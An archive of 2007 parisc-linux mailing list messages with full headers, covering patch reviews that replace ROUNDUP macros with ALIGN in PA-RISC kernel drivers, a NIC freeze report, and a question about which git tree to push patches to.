Original-Received: (qmail invoked by alias); 04 Apr 2007 05:02:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 04 Apr 2007 07:02:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 223697DAA5;
	Tue,  3 Apr 2007 23:02:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11187-10; Tue, 3 Apr 2007 23:02:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC58E7DAA1;
	Tue,  3 Apr 2007 23:02:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AD0A7DA96
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Apr 2007 23:02:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11187-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Apr 2007 23:02:22 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9E3B47DA95
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Apr 2007 23:02:22 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8619E3382AA;
	Tue,  3 Apr 2007 23:02:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14695-10; Tue, 3 Apr 2007 23:02:04 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A0F5E3382A6; Tue,  3 Apr 2007 23:02:04 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070331105746.GA14572@arun.site>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WAQhfupHPjltz+rBOTU2tHIzMTE2NQlU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24456

On Sat, Mar 31, 2007 at 04:27:46PM +0530, Milind Arun Choudhary wrote:
> Clean up ROUND_?UP, Use ALIGN where ever appropriate.
> 
> Signed-off-by: Milind Arun Choudhary <milindchoudhary@gmail.com>

Milind,
Looks good to me.

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

Kyle,
can you remind me how these patches should be pushed into your tree?
Or do you want to directly apply them yourself?

I have the impression git.parisc-linux.org tree is stale and I should
be using something different. I just don't know what.

thanks,
grant

> 
> ---
>  ccio-dma.c      |    8 ++++----
>  iommu-helpers.h |    4 ++--
>  sba_iommu.c     |    6 ++----
>  3 files changed, 8 insertions(+), 10 deletions(-)
> 
> 
> 
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index 894fdb9..1459ca8 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -32,6 +32,7 @@
>  */
>  
>  #include <linux/types.h>
> +#include <linux/kernel.h>
>  #include <linux/init.h>
>  #include <linux/mm.h>
>  #include <linux/spinlock.h>
> @@ -292,7 +293,6 @@ static int ioc_count;
>  #define PDIR_INDEX(iovp)    ((iovp)>>IOVP_SHIFT)
>  #define MKIOVP(pdir_idx)    ((long)(pdir_idx) << IOVP_SHIFT)
>  #define MKIOVA(iovp,offset) (dma_addr_t)((long)iovp | (long)offset)
> -#define ROUNDUP(x,y) ((x + ((y)-1)) & ~((y)-1))
>  
>  /*
>  ** Don't worry about the 150% average search length on a miss.
> @@ -668,7 +668,7 @@ ccio_mark_invalid(struct ioc *ioc, dma_addr_t iova, size_t byte_cnt)
>  	size_t saved_byte_cnt;
>  
>  	/* round up to nearest page size */
> -	saved_byte_cnt = byte_cnt = ROUNDUP(byte_cnt, IOVP_SIZE);
> +	saved_byte_cnt = byte_cnt = ALIGN(byte_cnt, IOVP_SIZE);
>  
>  	while(byte_cnt > 0) {
>  		/* invalidate one page at a time */
> @@ -751,7 +751,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
>  	offset = ((unsigned long) addr) & ~IOVP_MASK;
>  
>  	/* round up to nearest IOVP_SIZE */
> -	size = ROUNDUP(size + offset, IOVP_SIZE);
> +	size = ALIGN(size + offset, IOVP_SIZE);
>  	spin_lock_irqsave(&ioc->res_lock, flags);
>  
>  #ifdef CCIO_MAP_STATS
> @@ -814,7 +814,7 @@ ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
>  
>  	iova ^= offset;        /* clear offset bits */
>  	size += offset;
> -	size = ROUNDUP(size, IOVP_SIZE);
> +	size = ALIGN(size, IOVP_SIZE);
>  
>  	spin_lock_irqsave(&ioc->res_lock, flags);
>  
> diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
> index 38d9e1a..0a1f99a 100644
> --- a/drivers/parisc/iommu-helpers.h
> +++ b/drivers/parisc/iommu-helpers.h
> @@ -138,7 +138,7 @@ iommu_coalesce_chunks(struct ioc *ioc, struct scatterlist *startsg, int nents,
>  			** exceed DMA_CHUNK_SIZE if we coalesce the
>  			** next entry.
>  			*/   
> -			if(unlikely(ROUNDUP(dma_len + dma_offset + startsg->length,
> +			if(unlikely(ALIGN(dma_len + dma_offset + startsg->length,
>  					    IOVP_SIZE) > DMA_CHUNK_SIZE))
>  				break;
>  
> @@ -158,7 +158,7 @@ iommu_coalesce_chunks(struct ioc *ioc, struct scatterlist *startsg, int nents,
>  		** Allocate space for DMA stream.
>  		*/
>  		sg_dma_len(contig_sg) = dma_len;
> -		dma_len = ROUNDUP(dma_len + dma_offset, IOVP_SIZE);
> +		dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE);
>  		sg_dma_address(contig_sg) =
>  			PIDE_FLAG 
>  			| (iommu_alloc_range(ioc, dma_len) << IOVP_SHIFT)
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index 76a29da..7d83d9f 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -113,8 +113,6 @@ module_param(sba_reserve_agpgart, int, 1);
>  MODULE_PARM_DESC(sba_reserve_agpgart, "Reserve half of IO pdir as AGPGART");
>  #endif
>  
> -#define ROUNDUP(x,y) ((x + ((y)-1)) & ~((y)-1))
> -
>  
>  /************************************
>  ** SBA register read and write support
> @@ -352,7 +350,7 @@ sba_search_bitmap(struct ioc *ioc, unsigned long bits_wanted)
>  		** SBA HW features in the unmap path.
>  		*/
>  		unsigned long o = 1 << get_order(bits_wanted << PAGE_SHIFT);
> -		uint bitshiftcnt = ROUNDUP(ioc->res_bitshift, o);
> +		uint bitshiftcnt = ALIGN(ioc->res_bitshift, o);
>  		unsigned long mask;
>  
>  		if (bitshiftcnt >= BITS_PER_LONG) {
> @@ -779,7 +777,7 @@ sba_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
>  	offset = iova & ~IOVP_MASK;
>  	iova ^= offset;        /* clear offset bits */
>  	size += offset;
> -	size = ROUNDUP(size, IOVP_SIZE);
> +	size = ALIGN(size, IOVP_SIZE);
>  
>  	spin_lock_irqsave(&ioc->res_lock, flags);
>  
> 
> -- 
> Milind Arun Choudhary
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [KJ][PATCH] ROUND_UP macro cleanup in arch/parisc
Date: Tue, 3 Apr 2007 23:05:09 -0600
Lines: 90
Approved: news@gmane.org
Message-ID: <20070404050509.GD9446__16744.3198305138$1416624331$gmane$org@colo.lackof.org>
References: <20070401073646.GA11444@arun.site>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624331 23541 80.91.229.3 (22 Nov 2014 02:45:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:31 +0000 (UTC)
Cc: willy@debian.org,
 linux-kernel@vger.kernel.org,
 kyle@mcmartin.ca,
 kernel-janitors@lists.osdl.org,
 akpm@linux-foundation.org,
 parisc-linux@lists.parisc-linux.org
To: Milind Arun Choudhary <milindchoudhary@gmail.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2007 05:05:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 04 Apr 2007 07:05:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 464DC7DA96;
	Tue,  3 Apr 2007 23:05:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11534-06; Tue, 3 Apr 2007 23:05:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D89867DAA2;
	Tue,  3 Apr 2007 23:05:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B70757DA93
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Apr 2007 23:05:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11391-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Apr 2007 23:05:25 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E66697DA92
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Apr 2007 23:05:24 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 65E293382A7;
	Tue,  3 Apr 2007 23:05:24 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17533-03; Tue, 3 Apr 2007 23:05:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0E45E3382A6; Tue,  3 Apr 2007 23:05:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070401073646.GA11444@arun.site>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LAsgfu5AMmApm7SZZGFntnwxMjQ1N11b
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24457

On Sun, Apr 01, 2007 at 01:06:46PM +0530, Milind Arun Choudhary wrote:
> ROUND_UP macro cleanup, use ALIGN where ever appropriate
> 
> Signed-off-by: Milind Arun Choudhary <milindchoudhary@gmail.com>

Also looks good to me. Just one white space nit we can fixup by hand.

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>


> 
> ---
>  hpux/fs.c             |    5 ++---
>  kernel/sys_parisc32.c |    3 +--
>  2 files changed, 3 insertions(+), 5 deletions(-)
> 
> 
> 
> diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c
> index 4204cd1..7ff5546 100644
> --- a/arch/parisc/hpux/fs.c
> +++ b/arch/parisc/hpux/fs.c
> @@ -21,6 +21,7 @@
>   *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
>   */
>  
> +#include <linux/kernel.h>
>  #include <linux/mm.h>
>  #include <linux/sched.h>
>  #include <linux/file.h>
> @@ -70,7 +71,6 @@ struct getdents_callback {
>  };
>  
>  #define NAME_OFFSET(de) ((int) ((de)->d_name - (char *) (de)))
> -#define ROUND_UP(x) (((x)+sizeof(long)-1) & ~(sizeof(long)-1))
>  
>  static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
>  		u64 ino, unsigned d_type)
> @@ -78,7 +78,7 @@ static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
>  	struct hpux_dirent * dirent;
>  	struct getdents_callback * buf = (struct getdents_callback *) __buf;
>  	ino_t d_ino;
> -	int reclen = ROUND_UP(NAME_OFFSET(dirent) + namlen + 1);
> +	int reclen = ALIGN(NAME_OFFSET(dirent) + namlen + 1,sizeof(long));

Nit: I'd want a blank space after the comma.

thanks,
grant

>  
>  	buf->error = -EINVAL;	/* only used if we fail.. */
>  	if (reclen > buf->count)
> @@ -103,7 +103,6 @@ static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
>  }
>  
>  #undef NAME_OFFSET
> -#undef ROUND_UP
>  
>  int hpux_getdents(unsigned int fd, struct hpux_dirent *dirent, unsigned int count)
>  {
> diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
> index ce3245f..e590880 100644
> --- a/arch/parisc/kernel/sys_parisc32.c
> +++ b/arch/parisc/kernel/sys_parisc32.c
> @@ -311,14 +311,13 @@ struct readdir32_callback {
>  	int count;
>  };
>  
> -#define ROUND_UP(x,a)	((__typeof__(x))(((unsigned long)(x) + ((a) - 1)) & ~((a) - 1)))
>  #define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))
>  static int filldir32 (void *__buf, const char *name, int namlen,
>  			loff_t offset, u64 ino, unsigned int d_type)
>  {
>  	struct linux32_dirent __user * dirent;
>  	struct getdents32_callback * buf = (struct getdents32_callback *) __buf;
> -	int reclen = ROUND_UP(NAME_OFFSET(dirent) + namlen + 1, 4);
> +	int reclen = ALIGN(NAME_OFFSET(dirent) + namlen + 1, 4);
>  	u32 d_ino;
>  
>  	buf->error = -EINVAL;	/* only used if we fail.. */
> 
> -- 
> Milind Arun Choudhary
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Johnson <alan.johnson@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] j3516a nic issue
Date: Thu, 12 Apr 2007 16:53:11 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <461EAA47.6030205__38239.8871858188$1416624331$gmane$org@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624331 23543 80.91.229.3 (22 Nov 2014 02:45:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2007 06:12:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 14 Apr 2007 08:12:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 39DBD7DA7A;
	Sat, 14 Apr 2007 00:12:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13564-08; Sat, 14 Apr 2007 00:12:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2495B7D86D;
	Sat, 14 Apr 2007 00:12:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5F197DA8D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 15:53:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25754-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 15:53:13 -0600 (MDT)
Original-Received: from flpvm09.prodigy.net (flpvm09.prodigy.net [207.115.20.39])
	by free.linux.hp.com (Postfix) with ESMTP id CEE147DA8A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 15:53:12 -0600 (MDT)
X-ORBL: [68.253.14.130]
Original-Received: from [192.168.0.180] (68-253-14-130.ded.ameritech.net
	[68.253.14.130] (may be forged))
	by flpvm09.prodigy.net (8.13.8 out.dk.spool/8.13.8) with ESMTP id
	l3CLqotA018652 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 14:52:50 -0700
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sat, 14 Apr 2007 00:12:27 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4kYTcgYYTXs9m6yRbmQ544lKRzdyMoML
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24458

I have a D250/350 with a j3516a with the DEC 21140 chipset.  When I try 
to install Debian 3.1 it freezes with a trap error on the display.  It 
boots fine but when it tries to load the tulip driver it freezes and the 
display on the front shows FLT CBC0 TRAPS CPU01.  I have 3 of these 
boards and they all do the same thing.  Is there some trick to getting 
this board to work?  Has any one else had this issue?  Thanks for any 
assistance you might be able to provide.


Alan
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc tree?
Date: Sat, 7 Apr 2007 16:42:35 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200704072042.l37KgaeC000456__5198.2810524807$1416624331$gmane$org@hiauly1.hia.nrc.ca>
References: <20070404050204.GC9446@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624331 23546 80.91.229.3 (22 Nov 2014 02:45:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Apr 2007 03:01:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 08 Apr 2007 05:01:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF0D87D903;
	Sat,  7 Apr 2007 21:01:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02753-09; Sat, 7 Apr 2007 21:01:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C78C17D41F;
	Sat,  7 Apr 2007 21:01:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEA727D627
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Apr 2007 21:01:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02754-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Apr 2007 21:01:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D5CCB7D41F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Apr 2007 21:01:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca ([127.0.0.1])
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l37KgbPd000457;
	Sat, 7 Apr 2007 16:42:38 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l37KgaeC000456;
	Sat, 7 Apr 2007 16:42:36 -0400 (EDT)
In-Reply-To: <20070404050204.GC9446@colo.lackof.org> from "Grant Grundler" at
	Apr 3, 2007 11:02:04 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GGkrcp0fX1Vpz+uYY2Fy1P93SDc4NIxh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24459

) can you remind me how these patches should be pushed into your tree?
> Or do you want to directly apply them yourself?
> 
> I have the impression git.parisc-linux.org tree is stale and I should
> be using something different. I just don't know what.

I'd thought that patches once approved would somehow get pushed upstream.

Where parisc needs to maintain its own changes, I would be happy
to just be able to download a diff against the upstream tree.  I believe
that Kyle posted a patch set sometime back.  Ideally the upstream tree
would be usable without patches.

It would be nice if the process could be documented on the web site.

PS: There is a problem with web access to the parisc-linux archive.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW diag is broken?
Date: Sun, 1 Apr 2007 23:37:59 -0600
Lines: 90
Approved: news@gmane.org
Message-ID: <20070402053759.GC20818__30307.5881828137$1416624332$gmane$org@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624332 23549 80.91.229.3 (22 Nov 2014 02:45:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
